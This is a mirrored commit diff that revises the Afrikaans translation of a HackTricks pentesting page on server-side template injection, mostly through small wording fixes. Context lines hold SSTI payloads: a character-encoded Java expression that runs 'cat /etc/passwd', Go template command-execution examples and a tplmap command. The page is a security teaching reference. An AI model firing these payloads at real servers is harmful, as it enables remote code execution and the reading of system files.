mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/README.m
This commit is contained in:
parent
ad74767206
commit
79be3e9ec6
1 changed files with 11 additions and 11 deletions
|
@ -75,7 +75,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
```
|
||||
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
'n Interaktiewe tabel wat die mees doeltreffende template-inspuitingspoliglots bevat, saam met die verwagte antwoorde van die 44 belangrikste template-enjins.
|
||||
'n Interaktiewe tabel wat die mees doeltreffende template-inspuitings-polyglotte bevat, saam met die verwagte antwoorde van die 44 belangrikste template-enjins.
|
||||
|
||||
## Exploits
|
||||
|
||||
|
@ -221,7 +221,7 @@ Meervoudige veranderlike-uitdrukkings kan gebruik word, as `${...}` nie werk nie
|
|||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
* Pasgemaakte Skrip vir payload generasie
|
||||
* Pasgemaakte Skrip vir payload-generasie
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -386,7 +386,7 @@ Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbi
|
|||
|
||||
* **JavaServer Faces (JSF)**: Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
|
||||
* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te laat plaasvind, wat 'n meer samehangende toepassingsstruktuur verseker.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te verseker, wat 'n meer samehangende toepassingsstruktuur waarborg.
|
||||
|
||||
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL-interpretators**:
|
||||
|
||||
|
@ -508,7 +508,7 @@ Bladsy sjabloon:
|
|||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
Layout sjabloon:
|
||||
Layout-sjabloon:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -525,7 +525,7 @@ Layout sjabloon:
|
|||
|
||||
### PHPlib en HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib maar oorgedra na Pear.
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib, maar na Pear oorgedra.
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
@ -741,7 +741,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Kyk na die volgende bladsy om truuks te leer oor **arbitrary command execution bypassing sandboxes** in python:
|
||||
Kyk na die volgende bladsy om truuks oor **arbitrary command execution bypassing sandboxes** in python te leer:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -882,7 +882,7 @@ Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige pro
|
|||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Alhoewel dit perl is, gebruik dit etikette soos ERB in Ruby.
|
||||
Alhoewel dit Perl is, gebruik dit merke soos ERB in Ruby.
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Error`
|
||||
|
@ -896,7 +896,7 @@ In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifiek
|
|||
|
||||
* `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
|
||||
* `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie [hier](https://golang.org/pkg/text/template) verken word.
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie [hier](https://golang.org/pkg/text/template) ondersoek word.
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
|
@ -908,7 +908,7 @@ vbnet Copy code
|
|||
|
||||
RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe dat enige publieke funksie direk aangeroep word (met die “call” waarde), wat nie in `html/template` toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos `{{ .System "ls" }}` uitgebuit word. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
|
||||
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -917,7 +917,7 @@ return string(out)
|
|||
```
|
||||
**Meer inligting**
|
||||
|
||||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||||
* [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
|
||||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
||||
### Meer Exploits
|
||||
|
@ -954,7 +954,7 @@ As jy dink dit kan nuttig wees, lees:
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n borrelende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
|
Loading…
Reference in a new issue